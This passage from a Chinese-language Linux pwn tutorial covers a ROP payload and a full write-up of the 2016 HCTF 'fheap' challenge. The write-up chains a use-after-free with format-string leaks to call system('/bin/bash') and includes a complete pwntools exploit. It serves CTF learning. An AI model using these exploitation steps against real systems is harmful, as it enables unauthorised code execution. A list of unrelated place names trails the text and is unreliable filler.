# rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address

payload3 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)     # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload3 += p64(0)+ p64(1)                                   # rbx=0 rbp=1  : p64(0)+ p64(1)
payload3 += p64(bss_addr)                                    # call_address : bss_addr
payload3 += p64(0)                                           # param3       : 0
payload3 += p64(0)                                           # param2       : 0
payload3 += p64(bss_addr+8)                                  # param1       : bss_addr+8

payload3 += p64(rdx_rsi_rdi_callr12_ret)        # call r12
payload3 += p64(0)*7                            # add $0x8,%rsp   6 pop
payload3 += p64(main_static)

print("[+] send payload3 call system_addr(rdi=binsh_addr)")
p.send(payload3)
p.interactive()

實踐4_釋放后使用(Use-After-Free)學習

用 2016HCTF_fheap作為學習目標,該題存在格式化字符漏洞和UAF漏洞。 格式化字符串函數可以接受可變數量的參數,并將第一個參數作為格式化字符串,根據其來解析之后的參數。格式化字符漏洞是控制第一個參數可能導致任意地址讀寫。 釋放后使用(Use-After-Free)漏洞是內存塊被釋放后,其對應的指針沒有被設置為 NULL,再次申請內存塊特殊改寫內存導致任意地址讀或劫持控制流。

分析程序

checksec查詢發現全開了

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序很簡單就3個操作,create,delete,quit

Linux pwn入門知識點有哪些

漏洞點

在delete操作上發現調用free指針函數釋放結構后沒有置結構指針為NULL,這樣就能實現UAF, 如下圖

Linux pwn入門知識點有哪些create功能會先申請0x20字節的內存堆塊存儲結構,如果輸入的字符串長度大于0xf,則另外申請指定長度的空間存儲數據,否則存儲在之前申請的0x20字節的前16字節處,在最后,會將相關free函數的地址存儲在堆存儲結構的后八字節處

Linux pwn入門知識點有哪些在create時全局結構指向我們申請的內存

Linux pwn入門知識點有哪些這樣就可以惡意構造結構數據,利用uaf覆蓋舊數據結果的函數指針,打印出函數地址,泄露出二進制base基址,主要邏輯如下:

create(4 創建old_chunk0 但是程序占位 old_chunk0_size=0x30 申請0x20
create(4 創建old_chunk1 但是程序占位 old_chunk1_size=0x30 申請0x20
釋放chunk1
釋放chunk0
create(0x20 創建 chunk0 占位 old_chunk0,占位 old_chunk1
            創建 chunk1 覆蓋 old_chunk1->data->free 為 puts

此時執行delete操作,也就執行了

free(ptr) -> puts(ptr->buffer和后面覆蓋的puts地址)

打印出了puts_addr地址,然后通過計算偏移得到二進制基址,如下:

bin_base_addr = puts_addr - offset

然后利用二進制基址算出二進制自帶的 printf 真實地址,再次利用格式化字符漏洞實現任意地址讀寫。 如下是得到printf 真實地址 printf_addr后利用格式化字符漏洞實現任意地址讀寫的測試過程,我們輸出10個%p 也就打印了堆棧前幾個數據值。然后找到了 arg9 為我們能夠控制的數據,所以利用腳本里printf輸出參數變成了 "%9$p",讀取第九個參數。

delete(0)
payload = 'a%p%p%p%p%p%p%p%p%p%p'.ljust(0x18, '#') + p64(printf_addr)  # 覆蓋chunk1的 free函數-> printf
create(0x20, payload)
p.recvuntil("quit")
p.send("delete ")
p.recvuntil("id:")
p.send(str(1) + '\n')
p.recvuntil("?:")
p.send("yes.1111" + p64(addr) + "\n")  # 觸發 printf漏洞

p.recvuntil('a')
data = p.recvuntil('####')[:-4]

IDA調試時內存數據為如下:

0000560DFCD3C000  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000560DFCD3C010  40 C0 D3 FC 0D 56 00 00  00 00 00 00 00 00 00 00  @....V..........
0000560DFCD3C020  1E 00 00 00 00 00 00 00  6C CD 7C FB 0D 56 00 00  ........l....V..
0000560DFCD3C030  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000560DFCD3C040  61 25 70 25 70 25 70 25  70 25 70 25 70 25 70 25  a%p%p%p%p%p%p%p%
0000560DFCD3C050  70 25 70 25 70 23 23 23  D0 C9 7C FB 0D 56 00 00  p%p%p###..|..V..

00007FFE50BF9630  00 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  ................
00007FFE50BF9640  79 65 73 2E 31 31 31 31  00 60 8C 2B 45 56 00 00  yes.1111.`.+EV..

00007FFCA59554F8  0000560DFB7CCE95  delete_sub_D95+100
00007FFCA5955500  0000000000000000
00007FFCA5955508  0000000100000000  arg7
00007FFCA5955510  313131312E736579  arg8
00007FFCA5955518  0000560DFB7CC000  LOAD:0000560DFB7CC000 # arg9 讀取這個 arg9  所以這里選擇 %9$s
00007FFCA5955520  000000000000000A
00007FFCA5955528  0000560DFB7CCA50  start
00007FFCA5955530  00007FFCA5955D90  [stack]:00007FFCA5955D90

利用格式化字符串漏洞實現任意地址后,讀取兩個libc函數然后確定libc版本,獲取對應libc版本的system_addr

最終利用
#!/usr/bin/python
# -*- coding: UTF-8 -*-

from pwn import *

context.log_level = 'debug'
# target = process('pwn-f')
p = remote('172.16.36.176', 10003)

elf = ELF("./pwn-f")
libc_elf = ELF("./libc-2.23.so")
def create(size, string):
    p.recvuntil('3.quit')
    p.sendline('create ')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('str:')
    p.send(string)

def delete(id):
    p.recvuntil('3.quit')
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline(str(id))
    p.recvuntil('sure?:')
    p.sendline('yes')
    
def leak(addr):
    global printf_addr

    delete(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf
    create(0x20,payload)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil("id:")
    p.send(str(1)+'\n')
    p.recvuntil("?:")
    p.send("yes.1111"+p64(addr)+"\n") # 觸發 printf漏洞
    p.recvuntil('a')
    data = p.recvuntil('####')[:-4]
    if len(data) == 0:
        return '\x00'
    if len(data) <= 8:
        log.info("{}".format(hex(u64(data.ljust(8,'\x00')))))
    return data

def main():
    global printf_addr
    #step 1 create & delete
    create(4,'aaaa')
    create(4,'bbbb')
    delete(1)
    delete(0)

    #step 2 recover old function addr
    pwn = ELF('./pwn-f')
    payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'#  recover low bits,the reason why i choose \x2d is that the system flow decide by
    create(0x20,payload) # 申請大于0xf的內存會多申請一次 占位chunk0 和 chunk1,申請的內容覆蓋 chunk1->#調用的是之前留下的chunk1 然后被覆蓋
    delete(1) # call free -> call _puts


    #step 3 leak base addr
    p.recvuntil('b'*0x10)
    data = p.recvuntil('\n')[:-1]
    if len(data)>8:
        data=data[:8]
    data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addr
    pwn_base_addr = data - 0xd2d # 減去二進制base

    log.info("pwn_base_addr : {}".format(hex(pwn_base_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用

    # free -> printf
    # 我們首先create字符串調用delete 此時freeshort地址變成了printf,可以控制打印
    #step 4 get printf func addr
    printf_plt = pwn.plt['printf']
    printf_addr = pwn_base_addr + printf_plt #get real printf addr

    log.info("printf_addr : {}".format(hex(printf_addr)))

    delete(0)

    #step 5 leak system addr
    create(0x20,payload)  # 繼續調用 free  -> puts
    delete(1) #this one can not be ignore because DynELF use the delete() at begin

    # 泄露malloc_addr
    delete(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf
    create(0x20,payload)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil("id:")
    p.send(str(1)+'\n')
    p.recvuntil("?:")
    p.send("yes.1111"+p64(elf.got["malloc"] + pwn_base_addr)+"\n") # 觸發 printf漏洞
    p.recvuntil('a')
    data = p.recvuntil('####')[:-4]

    malloc_addr = u64(data.ljust(8,"\x00"))
    log.info("malloc_addr : {}".format(hex(malloc_addr)))

    # 泄露 puts_addr
    delete(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf
    create(0x20,payload)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil("id:")
    p.send(str(1)+'\n')
    p.recvuntil("?:")
    p.send("yes.1111"+p64(elf.got["puts"] + pwn_base_addr)+"\n") # 觸發 printf漏洞
    p.recvuntil('a')
    data = p.recvuntil('####')[:-4]

    puts_addr = u64(data.ljust(8,"\x00"))
    log.info("puts_addr : {}".format(hex(puts_addr)))

    # 通過兩個libc函數計算libc ,確定system_addr
    from LibcSearcher import *
    obj = LibcSearcher("puts", puts_addr)
    obj.add_condition("malloc", malloc_addr)
    # obj.selectin_id(3)

    libc_base = malloc_addr-obj.dump("malloc")
    system_addr = obj.dump("system")+libc_base  # system 偏移

    log.info("system_addr : {}".format(hex(system_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用

    #step 6 recover old function to system then get shell
    delete(0)
    create(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr)) # attention /bin/bash; i don`t not why add the ';'
    delete(1)
    p.interactive()
if __name__ == '__main__':
    main()

“Linux pwn入門知識點有哪些”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

义马市| 尉氏县| 鹤岗市| 黄大仙区| 荔波县| 临桂县| 霍山县| 饶河县| 班玛县| 阜南县| 大兴区| 荆州市| 包头市| 南漳县| 陕西省| 军事| 无锡市| 罗平县| 宁城县| 阜新市| 友谊县| 长岭县| 仁布县| 马龙县| 巧家县| 玉门市| 仪陇县| 会理县| 开化县| 新巴尔虎右旗| 古蔺县| 彭山县| 齐河县| 通河县| 中西区| 曲松县| 萍乡市| 海门市| 伊通| 永修县| 五华县|